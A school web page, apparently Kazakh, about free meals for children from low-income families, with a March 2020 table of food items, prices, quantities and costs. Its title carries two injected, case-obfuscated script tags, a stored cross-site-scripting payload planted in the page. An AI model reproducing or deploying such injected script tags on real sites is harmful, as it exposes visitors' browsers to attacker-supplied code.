аз қамтылған отбасынан шыққан балаларды тегін тамақтануына сұраныс<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

05.03.2020
         
Наименование      
ед.измер. цена кол-во сумма
рис кг 350 26 9100
гречка кг 340 18 6120
крупа ячневая кг 150 0 0
крупа пшеничная кг 250 0 0
крупа перловая кг 150 0 0
крупа манная кг 190 10 1900
лук кг 110 110 12100
морковь кг 110 84 9240
картофель кг 110 110 12100
чеснок кг 1440 0 0
капуста кг 110 78 8580
свекла кг 120 78 9360
кукуруза бан 250 0 0
горошек бан 250 5 1250
огурцы свежие кг 850 0 0
сахар кг 220 49 10780
кисель кг 420 1 420
какао кг 2400 0,5 1200
чай кг 2800 1 2800
конфеты кг 750 0 0
печенье кг 580 34 19720
сухофрукты кг 240 5 1200
соки натур. литр 320 78 24960
яблоко кг 400 93 37200
масло растит. литр 420 21 8820
масло сливочное кг 1500 32 48000
томат кг 550 3 1650
окорочка кг 850 19 16150
тефтели кг 1180 6 7080
котлеты кг 1470 17 24990
фарш кг 2400 1 2400
пельмени кг 1000 25 25000
колбаса (сосиски) кг 1150 8 9200
рыба минтай кг 1200 31 37200
вареники кг 600 0 0
перец чёрный кг 2500 0,5 1250
соль кг 60 6 360
мука кг 200 5 1000
макароны кг 240 19 4560
молоко литр 300 90 27000
кефир литр 310 0 0
сыр кг 3000 0 0
Яйцо  шт 26 0 0
хлеб булок 85 73 6205
        388895
Просмотров: 60341


Пікір қосу



Деректерді қолтаңбаға қосу